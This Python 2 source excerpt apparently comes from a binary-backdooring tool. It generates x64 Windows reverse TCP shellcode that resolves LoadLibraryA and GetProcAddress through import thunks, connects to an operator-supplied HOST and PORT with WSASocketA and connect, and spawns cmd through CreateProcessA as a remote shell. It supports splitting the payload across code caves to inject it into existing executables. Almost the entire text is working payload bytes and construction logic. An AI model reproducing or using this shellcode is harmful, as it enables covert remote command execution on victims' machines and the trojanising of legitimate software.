'Position dependent shellcode that uses API thunks of LoadLibraryA and
GetProcAddress to find and load APIs for callback to C2.'

def iat_reverse_tcp_inline(self, flItms, CavesPicked={}):

    flItms['apis_needed'] = ['LoadLibraryA', 'GetProcAddress']
    for api in flItms['apis_needed']:
        if (api not in flItms):
            return False
    if (self.PORT is None):
        print 'This    payload    requires    the    PORT    parameter    -P'
        return False
    if (self.HOST is None):
        print 'This    payload    requires    a    HOST    parameter    -H'
        return False
    self.shellcode1 = '\xfc'
    self.shellcode1 += 'I\xbe'
    if ((flItms['LoadLibraryA'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) < 0):
        self.shellcode1 += struct.pack('<Q', (4294967295 + ((flItms['LoadLibraryA'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) + 1)))
    else:
        self.shellcode1 += struct.pack('<Q', (flItms['LoadLibraryA'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])))
    self.shellcode1 += 'I\x01\xd6'
    self.shellcode1 += 'I\xbf'
    if ((flItms['GetProcAddress'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) < 0):
        self.shellcode1 += struct.pack('<Q', (4294967295 + ((flItms['GetProcAddress'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) + 1)))
    else:
        self.shellcode1 += struct.pack('<Q', (flItms['GetProcAddress'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])))
    self.shellcode1 += 'I\x01\xd7'
    '\n                                Winx64    asm    calling    convention\n                                RCX,    RDX,    R8,    R9    for    the    first    four    integer    or    pointer    arguments    (in    that    order),\n                                and    XMM0,    XMM1,    XMM2,    XMM3    are    used    for    floating    point    arguments.    Additional    arguments\n                                are    pushed    onto    the    stack    (right    to    left).    Integer    return    values    (similar    to    x86)    are\n                                returned    in    RAX    if    64    bits    or    less.    Floating    point    return    values    are    returned    in    XMM0.\n                                Parameters    less    than    64    bits    long    are    not    zero    extended;    the    high    bits    are    not    zeroed.\n\n                                The    caller    reserves    space    on    the    stack    (unlike    x86)\n                                rbx\n                                rbp\n                                r12\n                                r13\n                                r14:    GetProcAddress\n                                r15:    LoadLibraryA\n\n                                '
    self.shellcode1 += 'I\xbbws2_32\x00\x00ASI\x89\xe3H\x81\xec\xa0\x01\x00\x00H\x89\xe6H\xbf\x02\x00'
    self.shellcode1 += struct.pack('!H', self.PORT)
    self.shellcode1 += self.pack_ip_addresses()
    self.shellcode1 += 'WH\x89\xe7L\x89\xd9H\x83\xec    A\xff\x16I\x89\xc5H\x89\xc1\xeb\x0cWSAStartup\x00\x00H\x8d\x15\xed\xff\xff\xffH\x83\xec    A\xff\x17H\x95\xeb\x0cWSASocketA\x00\x00H\x8d\x15\xed\xff\xff\xffL\x89\xe9H\x83\xec    A\xff\x17I\x94H\x89\xf2h\x01\x01\x00\x00YH\x83\xec    \xff\xd5PPM1\xc0M1\xc9H\xff\xc0H\x89\xc2H\xff\xc0H\x89\xc1H\x83\xec    A\xff\xd4I\x94H\xbaconnect\x00RH\x89\xe2L\x89\xe9H\x83\xec    A\xff\x17H\x89\xc3j\x10AXH\x89\xfaL\x89\xe1H\x83\xec    \xff\xd3H\x81\xc4\xb8\x02\x00\x00'
    breakupvar = eat_code_caves(flItms, 0, 1)
    if (flItms['cave_jumping'] is True):
        self.shellcode1 += '\xe9'
        if (breakupvar > 0):
            if (len(self.shellcode1) < breakupvar):
                self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
            else:
                self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
        else:
            self.shellcode1 += struct.pack('<I', ((((int('0xffffffff', 16) + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3))
    self.shellcode2 = '\xeb DCTB kernel32\x00H\x8d\r\xf0\xff\xff\xffH\x83\xec    A\xff\x16I\x89\xc5H\x89\xc1\xeb\x0fCreateProcessA\x00H\x8d\x15\xea\xff\xff\xffH\x83\xec    A\xff\x17H\x89\xc7I\x87\xfcI\xb8cmd\x00\x00\x00\x00\x00APAPH\x89\xe2WWWM1\xc0j\rYAP\xe2\xfcf\xc7D$T\x01\x01H\x8dD$\x18\xc6\x00hH\x89\xe6VPAPAPAPI\xff\xc0API\xff\xc8M\x89\xc1L\x89\xc1H\x83\xec    A\xff\xd4\xeb\x14WaitForSingleObject\x00H\x8d\x15\xe5\xff\xff\xffL\x89\xe9H\x83\xec    A\xff\x17H1\xd2\x8b\x0eH\x83\xec    \xff\xd0H\x81\xc4P\x01\x00\x00'
    self.shellcode = (((self.stackpreserve + self.shellcode1) + self.shellcode2) + self.stackrestore)
    return ((self.stackpreserve + self.shellcode1), (self.shellcode2 + self.stackrestore))
